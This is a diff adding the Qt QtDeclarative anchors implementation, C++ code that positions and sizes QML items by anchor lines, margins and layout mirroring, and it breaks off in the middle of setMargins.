@@ -0,0 +1,1165 @@
+/****************************************************************************
+**
+** Copyright (C) 2012 Nokia Corporation and/or its subsidiary(-ies).
+** All rights reserved.
+** Contact: Nokia Corporation (qt-info@nokia.com)
+**
+** This file is part of the QtDeclarative module of the Qt Toolkit.
+**
+** $QT_BEGIN_LICENSE:LGPL$
+** GNU Lesser General Public License Usage
+** This file may be used under the terms of the GNU Lesser General Public
+** License version 2.1 as published by the Free Software Foundation and
+** appearing in the file LICENSE.LGPL included in the packaging of this
+** file. Please review the following information to ensure the GNU Lesser
+** General Public License version 2.1 requirements will be met:
+** http://www.gnu.org/licenses/old-licenses/lgpl-2.1.html.
+**
+** In addition, as a special exception, Nokia gives you certain additional
+** rights. These rights are described in the Nokia Qt LGPL Exception
+** version 1.1, included in the file LGPL_EXCEPTION.txt in this package.
+**
+** GNU General Public License Usage
+** Alternatively, this file may be used under the terms of the GNU General
+** Public License version 3.0 as published by the Free Software Foundation
+** and appearing in the file LICENSE.GPL included in the packaging of this
+** file. Please review the following information to ensure the GNU General
+** Public License version 3.0 requirements will be met:
+** http://www.gnu.org/copyleft/gpl.html.
+**
+** Other Usage
+** Alternatively, this file may be used in accordance with the terms and
+** conditions contained in a signed written agreement between you and Nokia.
+**
+**
+**
+**
+**
+** $QT_END_LICENSE$
+**
+****************************************************************************/
+
+#include "private/qdeclarativeanchors_p_p.h"
+
+#include "qdeclarativeitem.h"
+#include "private/qdeclarativeitem_p.h"
+
+#include <qdeclarativeinfo.h>
+
+#include <QDebug>
+
+QT_BEGIN_NAMESPACE
+
+//TODO: should we cache relationships, so we don't have to check each time (parent-child or sibling)?
+//TODO: support non-parent, non-sibling (need to find lowest common ancestor)
+
+static qreal hcenter(QGraphicsItem *i)
+{
+ QGraphicsItemPrivate *item = QGraphicsItemPrivate::get(i);
+
+ qreal width = item->width();
+ int iw = width;
+ if (iw % 2)
+ return (width + 1) / 2;
+ else
+ return width / 2;
+}
+
+static qreal vcenter(QGraphicsItem *i)
+{
+ QGraphicsItemPrivate *item = QGraphicsItemPrivate::get(i);
+
+ qreal height = item->height();
+ int ih = height;
+ if (ih % 2)
+ return (height + 1) / 2;
+ else
+ return height / 2;
+}
+
+//### const item?
+//local position
+static qreal position(QGraphicsObject *item, QDeclarativeAnchorLine::AnchorLine anchorLine)
+{
+ qreal ret = 0.0;
+ QGraphicsItemPrivate *d = QGraphicsItemPrivate::get(item);
+ switch(anchorLine) {
+ case QDeclarativeAnchorLine::Left:
+ ret = item->x();
+ break;
+ case QDeclarativeAnchorLine::Right:
+ ret = item->x() + d->width();
+ break;
+ case QDeclarativeAnchorLine::Top:
+ ret = item->y();
+ break;
+ case QDeclarativeAnchorLine::Bottom:
+ ret = item->y() + d->height();
+ break;
+ case QDeclarativeAnchorLine::HCenter:
+ ret = item->x() + hcenter(item);
+ break;
+ case QDeclarativeAnchorLine::VCenter:
+ ret = item->y() + vcenter(item);
+ break;
+ case QDeclarativeAnchorLine::Baseline:
+ if (d->isDeclarativeItem)
+ ret = item->y() + static_cast<QDeclarativeItem*>(item)->baselineOffset();
+ break;
+ default:
+ break;
+ }
+
+ return ret;
+}
+
+//position when origin is 0,0
+static qreal adjustedPosition(QGraphicsObject *item, QDeclarativeAnchorLine::AnchorLine anchorLine)
+{
+ qreal ret = 0.0;
+ QGraphicsItemPrivate *d = QGraphicsItemPrivate::get(item);
+ switch(anchorLine) {
+ case QDeclarativeAnchorLine::Left:
+ ret = 0.0;
+ break;
+ case QDeclarativeAnchorLine::Right:
+ ret = d->width();
+ break;
+ case QDeclarativeAnchorLine::Top:
+ ret = 0.0;
+ break;
+ case QDeclarativeAnchorLine::Bottom:
+ ret = d->height();
+ break;
+ case QDeclarativeAnchorLine::HCenter:
+ ret = hcenter(item);
+ break;
+ case QDeclarativeAnchorLine::VCenter:
+ ret = vcenter(item);
+ break;
+ case QDeclarativeAnchorLine::Baseline:
+ if (d->isDeclarativeItem)
+ ret = static_cast<QDeclarativeItem*>(item)->baselineOffset();
+ break;
+ default:
+ break;
+ }
+
+ return ret;
+}
+
+QDeclarativeAnchors::QDeclarativeAnchors(QObject *parent)
+ : QObject(*new QDeclarativeAnchorsPrivate(0), parent)
+{
+ qFatal("QDeclarativeAnchors::QDeclarativeAnchors(QObject*) called");
+}
+
+QDeclarativeAnchors::QDeclarativeAnchors(QGraphicsObject *item, QObject *parent)
+ : QObject(*new QDeclarativeAnchorsPrivate(item), parent)
+{
+}
+
+QDeclarativeAnchors::~QDeclarativeAnchors()
+{
+ Q_D(QDeclarativeAnchors);
+ d->remDepend(d->fill);
+ d->remDepend(d->centerIn);
+ d->remDepend(d->left.item);
+ d->remDepend(d->right.item);
+ d->remDepend(d->top.item);
+ d->remDepend(d->bottom.item);
+ d->remDepend(d->vCenter.item);
+ d->remDepend(d->hCenter.item);
+ d->remDepend(d->baseline.item);
+}
+
+void QDeclarativeAnchorsPrivate::fillChanged()
+{
+ Q_Q(QDeclarativeAnchors);
+ if (!fill || !isItemComplete())
+ return;
+
+ if (updatingFill < 2) {
+ ++updatingFill;
+
+ qreal horizontalMargin = q->mirrored() ? rightMargin : leftMargin;
+
+ if (fill == item->parentItem()) { //child-parent
+ setItemPos(QPointF(horizontalMargin, topMargin));
+ } else if (fill->parentItem() == item->parentItem()) { //siblings
+ setItemPos(QPointF(fill->x()+horizontalMargin, fill->y()+topMargin));
+ }
+ QGraphicsItemPrivate *fillPrivate = QGraphicsItemPrivate::get(fill);
+ setItemSize(QSizeF(fillPrivate->width()-leftMargin-rightMargin, fillPrivate->height()-topMargin-bottomMargin));
+
+ --updatingFill;
+ } else {
+ // ### Make this certain :)
+ qmlInfo(item) << QDeclarativeAnchors::tr("Possible anchor loop detected on fill.");
+ }
+
+}
+
+void QDeclarativeAnchorsPrivate::centerInChanged()
+{
+ Q_Q(QDeclarativeAnchors);
+ if (!centerIn || fill || !isItemComplete())
+ return;
+
+ if (updatingCenterIn < 2) {
+ ++updatingCenterIn;
+
+ qreal effectiveHCenterOffset = q->mirrored() ? -hCenterOffset : hCenterOffset;
+ if (centerIn == item->parentItem()) {
+ QPointF p(hcenter(item->parentItem()) - hcenter(item) + effectiveHCenterOffset,
+ vcenter(item->parentItem()) - vcenter(item) + vCenterOffset);
+ setItemPos(p);
+
+ } else if (centerIn->parentItem() == item->parentItem()) {
+ QPointF p(centerIn->x() + hcenter(centerIn) - hcenter(item) + effectiveHCenterOffset,
+ centerIn->y() + vcenter(centerIn) - vcenter(item) + vCenterOffset);
+ setItemPos(p);
+ }
+
+ --updatingCenterIn;
+ } else {
+ // ### Make this certain :)
+ qmlInfo(item) << QDeclarativeAnchors::tr("Possible anchor loop detected on centerIn.");
+ }
+}
+
+void QDeclarativeAnchorsPrivate::clearItem(QGraphicsObject *item)
+{
+ if (!item)
+ return;
+ if (fill == item)
+ fill = 0;
+ if (centerIn == item)
+ centerIn = 0;
+ if (left.item == item) {
+ left.item = 0;
+ usedAnchors &= ~QDeclarativeAnchors::LeftAnchor;
+ }
+ if (right.item == item) {
+ right.item = 0;
+ usedAnchors &= ~QDeclarativeAnchors::RightAnchor;
+ }
+ if (top.item == item) {
+ top.item = 0;
+ usedAnchors &= ~QDeclarativeAnchors::TopAnchor;
+ }
+ if (bottom.item == item) {
+ bottom.item = 0;
+ usedAnchors &= ~QDeclarativeAnchors::BottomAnchor;
+ }
+ if (vCenter.item == item) {
+ vCenter.item = 0;
+ usedAnchors &= ~QDeclarativeAnchors::VCenterAnchor;
+ }
+ if (hCenter.item == item) {
+ hCenter.item = 0;
+ usedAnchors &= ~QDeclarativeAnchors::HCenterAnchor;
+ }
+ if (baseline.item == item) {
+ baseline.item = 0;
+ usedAnchors &= ~QDeclarativeAnchors::BaselineAnchor;
+ }
+}
+
+void QDeclarativeAnchorsPrivate::addDepend(QGraphicsObject *item)
+{
+ if (!item)
+ return;
+ QGraphicsItemPrivate * itemPrivate = QGraphicsItemPrivate::get(item);
+ if (itemPrivate->isDeclarativeItem) {
+ QDeclarativeItemPrivate *p =
+ static_cast<QDeclarativeItemPrivate *>(QGraphicsItemPrivate::get(item));
+ p->addItemChangeListener(this, QDeclarativeItemPrivate::Geometry);
+ } else if(itemPrivate->isWidget) {
+ Q_Q(QDeclarativeAnchors);
+ QGraphicsWidget *widget = static_cast<QGraphicsWidget *>(item);
+ QObject::connect(widget, SIGNAL(destroyed(QObject*)), q, SLOT(_q_widgetDestroyed(QObject*)));
+ QObject::connect(widget, SIGNAL(geometryChanged()), q, SLOT(_q_widgetGeometryChanged()));
+ }
+}
+
+void QDeclarativeAnchorsPrivate::remDepend(QGraphicsObject *item)
+{
+ if (!item)
+ return;
+ QGraphicsItemPrivate * itemPrivate = QGraphicsItemPrivate::get(item);
+ if (itemPrivate->isDeclarativeItem) {
+ QDeclarativeItemPrivate *p =
+ static_cast<QDeclarativeItemPrivate *>(itemPrivate);
+ p->removeItemChangeListener(this, QDeclarativeItemPrivate::Geometry);
+ } else if(itemPrivate->isWidget) {
+ Q_Q(QDeclarativeAnchors);
+ QGraphicsWidget *widget = static_cast<QGraphicsWidget *>(item);
+ QObject::disconnect(widget, SIGNAL(destroyed(QObject*)), q, SLOT(_q_widgetDestroyed(QObject*)));
+ QObject::disconnect(widget, SIGNAL(geometryChanged()), q, SLOT(_q_widgetGeometryChanged()));
+ }
+}
+
+bool QDeclarativeAnchorsPrivate::isItemComplete() const
+{
+ return componentComplete;
+}
+
+void QDeclarativeAnchors::classBegin()
+{
+ Q_D(QDeclarativeAnchors);
+ d->componentComplete = false;
+}
+
+void QDeclarativeAnchors::componentComplete()
+{
+ Q_D(QDeclarativeAnchors);
+ d->componentComplete = true;
+}
+
+bool QDeclarativeAnchors::mirrored()
+{
+ Q_D(QDeclarativeAnchors);
+ QGraphicsItemPrivate * itemPrivate = QGraphicsItemPrivate::get(d->item);
+ return itemPrivate->isDeclarativeItem ? static_cast<QDeclarativeItemPrivate *>(itemPrivate)->effectiveLayoutMirror : false;
+}
+
+void QDeclarativeAnchorsPrivate::setItemHeight(qreal v)
+{
+ updatingMe = true;
+ QGraphicsItemPrivate::get(item)->setHeight(v);
+ updatingMe = false;
+}
+
+void QDeclarativeAnchorsPrivate::setItemWidth(qreal v)
+{
+ updatingMe = true;
+ QGraphicsItemPrivate::get(item)->setWidth(v);
+ updatingMe = false;
+}
+
+void QDeclarativeAnchorsPrivate::setItemX(qreal v)
+{
+ updatingMe = true;
+ item->setX(v);
+ updatingMe = false;
+}
+
+void QDeclarativeAnchorsPrivate::setItemY(qreal v)
+{
+ updatingMe = true;
+ item->setY(v);
+ updatingMe = false;
+}
+
+void QDeclarativeAnchorsPrivate::setItemPos(const QPointF &v)
+{
+ updatingMe = true;
+ item->setPos(v);
+ updatingMe = false;
+}
+
+void QDeclarativeAnchorsPrivate::setItemSize(const QSizeF &v)
+{
+ updatingMe = true;
+ if(QGraphicsItemPrivate::get(item)->isWidget)
+ static_cast<QGraphicsWidget *>(item)->resize(v);
+ else if (QGraphicsItemPrivate::get(item)->isDeclarativeItem)
+ static_cast<QDeclarativeItem *>(item)->setSize(v);
+ updatingMe = false;
+}
+
+void QDeclarativeAnchorsPrivate::updateMe()
+{
+ if (updatingMe) {
+ updatingMe = false;
+ return;
+ }
+
+ fillChanged();
+ centerInChanged();
+ updateHorizontalAnchors();
+ updateVerticalAnchors();
+}
+
+void QDeclarativeAnchorsPrivate::updateOnComplete()
+{
+ fillChanged();
+ centerInChanged();
+ updateHorizontalAnchors();
+ updateVerticalAnchors();
+}
+
+void QDeclarativeAnchorsPrivate::_q_widgetDestroyed(QObject *obj)
+{
+ clearItem(qobject_cast<QGraphicsObject*>(obj));
+}
+
+void QDeclarativeAnchorsPrivate::_q_widgetGeometryChanged()
+{
+ fillChanged();
+ centerInChanged();
+ updateHorizontalAnchors();
+ updateVerticalAnchors();
+}
+
+void QDeclarativeAnchorsPrivate::itemGeometryChanged(QDeclarativeItem *, const QRectF &newG, const QRectF &oldG)
+{
+ fillChanged();
+ centerInChanged();
+ if (newG.x() != oldG.x() || newG.width() != oldG.width())
+ updateHorizontalAnchors();
+ if (newG.y() != oldG.y() || newG.height() != oldG.height())
+ updateVerticalAnchors();
+}
+
+QGraphicsObject *QDeclarativeAnchors::fill() const
+{
+ Q_D(const QDeclarativeAnchors);
+ return d->fill;
+}
+
+void QDeclarativeAnchors::setFill(QGraphicsObject *f)
+{
+ Q_D(QDeclarativeAnchors);
+ if (d->fill == f)
+ return;
+
+ if (!f) {
+ d->remDepend(d->fill);
+ d->fill = f;
+ emit fillChanged();
+ return;
+ }
+ if (f != d->item->parentItem() && f->parentItem() != d->item->parentItem()){
+ qmlInfo(d->item) << tr("Cannot anchor to an item that isn't a parent or sibling.");
+ return;
+ }
+ d->remDepend(d->fill);
+ d->fill = f;
+ d->addDepend(d->fill);
+ emit fillChanged();
+ d->fillChanged();
+}
+
+void QDeclarativeAnchors::resetFill()
+{
+ setFill(0);
+}
+
+QGraphicsObject *QDeclarativeAnchors::centerIn() const
+{
+ Q_D(const QDeclarativeAnchors);
+ return d->centerIn;
+}
+
+void QDeclarativeAnchors::setCenterIn(QGraphicsObject* c)
+{
+ Q_D(QDeclarativeAnchors);
+ if (d->centerIn == c)
+ return;
+
+ if (!c) {
+ d->remDepend(d->centerIn);
+ d->centerIn = c;
+ emit centerInChanged();
+ return;
+ }
+ if (c != d->item->parentItem() && c->parentItem() != d->item->parentItem()){
+ qmlInfo(d->item) << tr("Cannot anchor to an item that isn't a parent or sibling.");
+ return;
+ }
+
+ d->remDepend(d->centerIn);
+ d->centerIn = c;
+ d->addDepend(d->centerIn);
+ emit centerInChanged();
+ d->centerInChanged();
+}
+
+void QDeclarativeAnchors::resetCenterIn()
+{
+ setCenterIn(0);
+}
+
+bool QDeclarativeAnchorsPrivate::calcStretch(const QDeclarativeAnchorLine &edge1,
+ const QDeclarativeAnchorLine &edge2,
+ qreal offset1,
+ qreal offset2,
+ QDeclarativeAnchorLine::AnchorLine line,
+ qreal &stretch)
+{
+ bool edge1IsParent = (edge1.item == item->parentItem());
+ bool edge2IsParent = (edge2.item == item->parentItem());
+ bool edge1IsSibling = (edge1.item->parentItem() == item->parentItem());
+ bool edge2IsSibling = (edge2.item->parentItem() == item->parentItem());
+
+ bool invalid = false;
+ if ((edge2IsParent && edge1IsParent) || (edge2IsSibling && edge1IsSibling)) {
+ stretch = (position(edge2.item, edge2.anchorLine) + offset2)
+ - (position(edge1.item, edge1.anchorLine) + offset1);
+ } else if (edge2IsParent && edge1IsSibling) {
+ stretch = (position(edge2.item, edge2.anchorLine) + offset2)
+ - (position(item->parentObject(), line)
+ + position(edge1.item, edge1.anchorLine) + offset1);
+ } else if (edge2IsSibling && edge1IsParent) {
+ stretch = (position(item->parentObject(), line) + position(edge2.item, edge2.anchorLine) + offset2)
+ - (position(edge1.item, edge1.anchorLine) + offset1);
+ } else
+ invalid = true;
+
+ return invalid;
+}
+
+void QDeclarativeAnchorsPrivate::updateVerticalAnchors()
+{
+ if (fill || centerIn || !isItemComplete())
+ return;
+
+ if (updatingVerticalAnchor < 2) {
+ ++updatingVerticalAnchor;
+ QGraphicsItemPrivate *itemPrivate = QGraphicsItemPrivate::get(item);
+ if (usedAnchors & QDeclarativeAnchors::TopAnchor) {
+ //Handle stretching
+ bool invalid = true;
+ qreal height = 0.0;
+ if (usedAnchors & QDeclarativeAnchors::BottomAnchor) {
+ invalid = calcStretch(top, bottom, topMargin, -bottomMargin, QDeclarativeAnchorLine::Top, height);
+ } else if (usedAnchors & QDeclarativeAnchors::VCenterAnchor) {
+ invalid = calcStretch(top, vCenter, topMargin, vCenterOffset, QDeclarativeAnchorLine::Top, height);
+ height *= 2;
+ }
+ if (!invalid)
+ setItemHeight(height);
+
+ //Handle top
+ if (top.item == item->parentItem()) {
+ setItemY(adjustedPosition(top.item, top.anchorLine) + topMargin);
+ } else if (top.item->parentItem() == item->parentItem()) {
+ setItemY(position(top.item, top.anchorLine) + topMargin);
+ }
+ } else if (usedAnchors & QDeclarativeAnchors::BottomAnchor) {
+ //Handle stretching (top + bottom case is handled above)
+ if (usedAnchors & QDeclarativeAnchors::VCenterAnchor) {
+ qreal height = 0.0;
+ bool invalid = calcStretch(vCenter, bottom, vCenterOffset, -bottomMargin,
+ QDeclarativeAnchorLine::Top, height);
+ if (!invalid)
+ setItemHeight(height*2);
+ }
+
+ //Handle bottom
+ if (bottom.item == item->parentItem()) {
+ setItemY(adjustedPosition(bottom.item, bottom.anchorLine) - itemPrivate->height() - bottomMargin);
+ } else if (bottom.item->parentItem() == item->parentItem()) {
+ setItemY(position(bottom.item, bottom.anchorLine) - itemPrivate->height() - bottomMargin);
+ }
+ } else if (usedAnchors & QDeclarativeAnchors::VCenterAnchor) {
+ //(stetching handled above)
+
+ //Handle vCenter
+ if (vCenter.item == item->parentItem()) {
+ setItemY(adjustedPosition(vCenter.item, vCenter.anchorLine)
+ - vcenter(item) + vCenterOffset);
+ } else if (vCenter.item->parentItem() == item->parentItem()) {
+ setItemY(position(vCenter.item, vCenter.anchorLine) - vcenter(item) + vCenterOffset);
+ }
+ } else if (usedAnchors & QDeclarativeAnchors::BaselineAnchor) {
+ //Handle baseline
+ if (baseline.item == item->parentItem()) {
+ if (itemPrivate->isDeclarativeItem)
+ setItemY(adjustedPosition(baseline.item, baseline.anchorLine)
+ - static_cast<QDeclarativeItem *>(item)->baselineOffset() + baselineOffset);
+ } else if (baseline.item->parentItem() == item->parentItem()) {
+ if (itemPrivate->isDeclarativeItem)
+ setItemY(position(baseline.item, baseline.anchorLine)
+ - static_cast<QDeclarativeItem *>(item)->baselineOffset() + baselineOffset);
+ }
+ }
+ --updatingVerticalAnchor;
+ } else {
+ // ### Make this certain :)
+ qmlInfo(item) << QDeclarativeAnchors::tr("Possible anchor loop detected on vertical anchor.");
+ }
+}
+
+inline QDeclarativeAnchorLine::AnchorLine reverseAnchorLine(QDeclarativeAnchorLine::AnchorLine anchorLine) {
+ if (anchorLine == QDeclarativeAnchorLine::Left) {
+ return QDeclarativeAnchorLine::Right;
+ } else if (anchorLine == QDeclarativeAnchorLine::Right) {
+ return QDeclarativeAnchorLine::Left;
+ } else {
+ return anchorLine;
+ }
+}
+
+void QDeclarativeAnchorsPrivate::updateHorizontalAnchors()
+{
+ Q_Q(QDeclarativeAnchors);
+ if (fill || centerIn || !isItemComplete())
+ return;
+
+ if (updatingHorizontalAnchor < 3) {
+ ++updatingHorizontalAnchor;
+ qreal effectiveRightMargin, effectiveLeftMargin, effectiveHorizontalCenterOffset;
+ QDeclarativeAnchorLine effectiveLeft, effectiveRight, effectiveHorizontalCenter;
+ QDeclarativeAnchors::Anchor effectiveLeftAnchor, effectiveRightAnchor;
+ if (q->mirrored()) {
+ effectiveLeftAnchor = QDeclarativeAnchors::RightAnchor;
+ effectiveRightAnchor = QDeclarativeAnchors::LeftAnchor;
+ effectiveLeft.item = right.item;
+ effectiveLeft.anchorLine = reverseAnchorLine(right.anchorLine);
+ effectiveRight.item = left.item;
+ effectiveRight.anchorLine = reverseAnchorLine(left.anchorLine);
+ effectiveHorizontalCenter.item = hCenter.item;
+ effectiveHorizontalCenter.anchorLine = reverseAnchorLine(hCenter.anchorLine);
+ effectiveLeftMargin = rightMargin;
+ effectiveRightMargin = leftMargin;
+ effectiveHorizontalCenterOffset = -hCenterOffset;
+ } else {
+ effectiveLeftAnchor = QDeclarativeAnchors::LeftAnchor;
+ effectiveRightAnchor = QDeclarativeAnchors::RightAnchor;
+ effectiveLeft = left;
+ effectiveRight = right;
+ effectiveHorizontalCenter = hCenter;
+ effectiveLeftMargin = leftMargin;
+ effectiveRightMargin = rightMargin;
+ effectiveHorizontalCenterOffset = hCenterOffset;
+ }
+
+ QGraphicsItemPrivate *itemPrivate = QGraphicsItemPrivate::get(item);
+ if (usedAnchors & effectiveLeftAnchor) {
+ //Handle stretching
+ bool invalid = true;
+ qreal width = 0.0;
+ if (usedAnchors & effectiveRightAnchor) {
+ invalid = calcStretch(effectiveLeft, effectiveRight, effectiveLeftMargin, -effectiveRightMargin, QDeclarativeAnchorLine::Left, width);
+ } else if (usedAnchors & QDeclarativeAnchors::HCenterAnchor) {
+ invalid = calcStretch(effectiveLeft, effectiveHorizontalCenter, effectiveLeftMargin, effectiveHorizontalCenterOffset, QDeclarativeAnchorLine::Left, width);
+ width *= 2;
+ }
+ if (!invalid)
+ setItemWidth(width);
+
+ //Handle left
+ if (effectiveLeft.item == item->parentItem()) {
+ setItemX(adjustedPosition(effectiveLeft.item, effectiveLeft.anchorLine) + effectiveLeftMargin);
+ } else if (effectiveLeft.item->parentItem() == item->parentItem()) {
+ setItemX(position(effectiveLeft.item, effectiveLeft.anchorLine) + effectiveLeftMargin);
+ }
+ } else if (usedAnchors & effectiveRightAnchor) {
+ //Handle stretching (left + right case is handled in updateLeftAnchor)
+ if (usedAnchors & QDeclarativeAnchors::HCenterAnchor) {
+ qreal width = 0.0;
+ bool invalid = calcStretch(effectiveHorizontalCenter, effectiveRight, effectiveHorizontalCenterOffset, -effectiveRightMargin,
+ QDeclarativeAnchorLine::Left, width);
+ if (!invalid)
+ setItemWidth(width*2);
+ }
+
+ //Handle right
+ if (effectiveRight.item == item->parentItem()) {
+ setItemX(adjustedPosition(effectiveRight.item, effectiveRight.anchorLine) - itemPrivate->width() - effectiveRightMargin);
+ } else if (effectiveRight.item->parentItem() == item->parentItem()) {
+ setItemX(position(effectiveRight.item, effectiveRight.anchorLine) - itemPrivate->width() - effectiveRightMargin);
+ }
+ } else if (usedAnchors & QDeclarativeAnchors::HCenterAnchor) {
+ //Handle hCenter
+ if (effectiveHorizontalCenter.item == item->parentItem()) {
+ setItemX(adjustedPosition(effectiveHorizontalCenter.item, effectiveHorizontalCenter.anchorLine) - hcenter(item) + effectiveHorizontalCenterOffset);
+ } else if (effectiveHorizontalCenter.item->parentItem() == item->parentItem()) {
+ setItemX(position(effectiveHorizontalCenter.item, effectiveHorizontalCenter.anchorLine) - hcenter(item) + effectiveHorizontalCenterOffset);
+ }
+ }
+ --updatingHorizontalAnchor;
+ } else {
+ // ### Make this certain :)
+ qmlInfo(item) << QDeclarativeAnchors::tr("Possible anchor loop detected on horizontal anchor.");
+ }
+}
+
+QDeclarativeAnchorLine QDeclarativeAnchors::top() const
+{
+ Q_D(const QDeclarativeAnchors);
+ return d->top;
+}
+
+void QDeclarativeAnchors::setTop(const QDeclarativeAnchorLine &edge)
+{
+ Q_D(QDeclarativeAnchors);
+ if (!d->checkVAnchorValid(edge) || d->top == edge)
+ return;
+
+ d->usedAnchors |= TopAnchor;
+
+ if (!d->checkVValid()) {
+ d->usedAnchors &= ~TopAnchor;
+ return;
+ }
+
+ d->remDepend(d->top.item);
+ d->top = edge;
+ d->addDepend(d->top.item);
+ emit topChanged();
+ d->updateVerticalAnchors();
+}
+
+void QDeclarativeAnchors::resetTop()
+{
+ Q_D(QDeclarativeAnchors);
+ d->usedAnchors &= ~TopAnchor;
+ d->remDepend(d->top.item);
+ d->top = QDeclarativeAnchorLine();
+ emit topChanged();
+ d->updateVerticalAnchors();
+}
+
+QDeclarativeAnchorLine QDeclarativeAnchors::bottom() const
+{
+ Q_D(const QDeclarativeAnchors);
+ return d->bottom;
+}
+
+void QDeclarativeAnchors::setBottom(const QDeclarativeAnchorLine &edge)
+{
+ Q_D(QDeclarativeAnchors);
+ if (!d->checkVAnchorValid(edge) || d->bottom == edge)
+ return;
+
+ d->usedAnchors |= BottomAnchor;
+
+ if (!d->checkVValid()) {
+ d->usedAnchors &= ~BottomAnchor;
+ return;
+ }
+
+ d->remDepend(d->bottom.item);
+ d->bottom = edge;
+ d->addDepend(d->bottom.item);
+ emit bottomChanged();
+ d->updateVerticalAnchors();
+}
+
+void QDeclarativeAnchors::resetBottom()
+{
+ Q_D(QDeclarativeAnchors);
+ d->usedAnchors &= ~BottomAnchor;
+ d->remDepend(d->bottom.item);
+ d->bottom = QDeclarativeAnchorLine();
+ emit bottomChanged();
+ d->updateVerticalAnchors();
+}
+
+QDeclarativeAnchorLine QDeclarativeAnchors::verticalCenter() const
+{
+ Q_D(const QDeclarativeAnchors);
+ return d->vCenter;
+}
+
+void QDeclarativeAnchors::setVerticalCenter(const QDeclarativeAnchorLine &edge)
+{
+ Q_D(QDeclarativeAnchors);
+ if (!d->checkVAnchorValid(edge) || d->vCenter == edge)
+ return;
+
+ d->usedAnchors |= VCenterAnchor;
+
+ if (!d->checkVValid()) {
+ d->usedAnchors &= ~VCenterAnchor;
+ return;
+ }
+
+ d->remDepend(d->vCenter.item);
+ d->vCenter = edge;
+ d->addDepend(d->vCenter.item);
+ emit verticalCenterChanged();
+ d->updateVerticalAnchors();
+}
+
+void QDeclarativeAnchors::resetVerticalCenter()
+{
+ Q_D(QDeclarativeAnchors);
+ d->usedAnchors &= ~VCenterAnchor;
+ d->remDepend(d->vCenter.item);
+ d->vCenter = QDeclarativeAnchorLine();
+ emit verticalCenterChanged();
+ d->updateVerticalAnchors();
+}
+
+QDeclarativeAnchorLine QDeclarativeAnchors::baseline() const
+{
+ Q_D(const QDeclarativeAnchors);
+ return d->baseline;
+}
+
+void QDeclarativeAnchors::setBaseline(const QDeclarativeAnchorLine &edge)
+{
+ Q_D(QDeclarativeAnchors);
+ if (!d->checkVAnchorValid(edge) || d->baseline == edge)
+ return;
+
+ d->usedAnchors |= BaselineAnchor;
+
+ if (!d->checkVValid()) {
+ d->usedAnchors &= ~BaselineAnchor;
+ return;
+ }
+
+ d->remDepend(d->baseline.item);
+ d->baseline = edge;
+ d->addDepend(d->baseline.item);
+ emit baselineChanged();
+ d->updateVerticalAnchors();
+}
+
+void QDeclarativeAnchors::resetBaseline()
+{
+ Q_D(QDeclarativeAnchors);
+ d->usedAnchors &= ~BaselineAnchor;
+ d->remDepend(d->baseline.item);
+ d->baseline = QDeclarativeAnchorLine();
+ emit baselineChanged();
+ d->updateVerticalAnchors();
+}
+
+QDeclarativeAnchorLine QDeclarativeAnchors::left() const
+{
+ Q_D(const QDeclarativeAnchors);
+ return d->left;
+}
+
+void QDeclarativeAnchors::setLeft(const QDeclarativeAnchorLine &edge)
+{
+ Q_D(QDeclarativeAnchors);
+ if (!d->checkHAnchorValid(edge) || d->left == edge)
+ return;
+
+ d->usedAnchors |= LeftAnchor;
+
+ if (!d->checkHValid()) {
+ d->usedAnchors &= ~LeftAnchor;
+ return;
+ }
+
+ d->remDepend(d->left.item);
+ d->left = edge;
+ d->addDepend(d->left.item);
+ emit leftChanged();
+ d->updateHorizontalAnchors();
+}
+
+void QDeclarativeAnchors::resetLeft()
+{
+ Q_D(QDeclarativeAnchors);
+ d->usedAnchors &= ~LeftAnchor;
+ d->remDepend(d->left.item);
+ d->left = QDeclarativeAnchorLine();
+ emit leftChanged();
+ d->updateHorizontalAnchors();
+}
+
+QDeclarativeAnchorLine QDeclarativeAnchors::right() const
+{
+ Q_D(const QDeclarativeAnchors);
+ return d->right;
+}
+
+void QDeclarativeAnchors::setRight(const QDeclarativeAnchorLine &edge)
+{
+ Q_D(QDeclarativeAnchors);
+ if (!d->checkHAnchorValid(edge) || d->right == edge)
+ return;
+
+ d->usedAnchors |= RightAnchor;
+
+ if (!d->checkHValid()) {
+ d->usedAnchors &= ~RightAnchor;
+ return;
+ }
+
+ d->remDepend(d->right.item);
+ d->right = edge;
+ d->addDepend(d->right.item);
+ emit rightChanged();
+ d->updateHorizontalAnchors();
+}
+
+void QDeclarativeAnchors::resetRight()
+{
+ Q_D(QDeclarativeAnchors);
+ d->usedAnchors &= ~RightAnchor;
+ d->remDepend(d->right.item);
+ d->right = QDeclarativeAnchorLine();
+ emit rightChanged();
+ d->updateHorizontalAnchors();
+}
+
+QDeclarativeAnchorLine QDeclarativeAnchors::horizontalCenter() const
+{
+ Q_D(const QDeclarativeAnchors);
+ return d->hCenter;
+}
+
+void QDeclarativeAnchors::setHorizontalCenter(const QDeclarativeAnchorLine &edge)
+{
+ Q_D(QDeclarativeAnchors);
+ if (!d->checkHAnchorValid(edge) || d->hCenter == edge)
+ return;
+
+ d->usedAnchors |= HCenterAnchor;
+
+ if (!d->checkHValid()) {
+ d->usedAnchors &= ~HCenterAnchor;
+ return;
+ }
+
+ d->remDepend(d->hCenter.item);
+ d->hCenter = edge;
+ d->addDepend(d->hCenter.item);
+ emit horizontalCenterChanged();
+ d->updateHorizontalAnchors();
+}
+
+void QDeclarativeAnchors::resetHorizontalCenter()
+{
+ Q_D(QDeclarativeAnchors);
+ d->usedAnchors &= ~HCenterAnchor;
+ d->remDepend(d->hCenter.item);
+ d->hCenter = QDeclarativeAnchorLine();
+ emit horizontalCenterChanged();
+ d->updateHorizontalAnchors();
+}
+
+qreal QDeclarativeAnchors::leftMargin() const
+{
+ Q_D(const QDeclarativeAnchors);
+ return d->leftMargin;
+}
+
+void QDeclarativeAnchors::setLeftMargin(qreal offset)
+{
+ Q_D(QDeclarativeAnchors);
+ if (d->leftMargin == offset)
+ return;
+ d->leftMargin = offset;
+ if(d->fill)
+ d->fillChanged();
+ else
+ d->updateHorizontalAnchors();
+ emit leftMarginChanged();
+}
+
+qreal QDeclarativeAnchors::rightMargin() const
+{
+ Q_D(const QDeclarativeAnchors);
+ return d->rightMargin;
+}
+
+void QDeclarativeAnchors::setRightMargin(qreal offset)
+{
+ Q_D(QDeclarativeAnchors);
+ if (d->rightMargin == offset)
+ return;
+ d->rightMargin = offset;
+ if(d->fill)
+ d->fillChanged();
+ else
+ d->updateHorizontalAnchors();
+ emit rightMarginChanged();
+}
+
+qreal QDeclarativeAnchors::margins() const
+{
+ Q_D(const QDeclarativeAnchors);
+ return d->margins;
+}
+
+void QDeclarativeAnchors::setMargins(qreal offset)
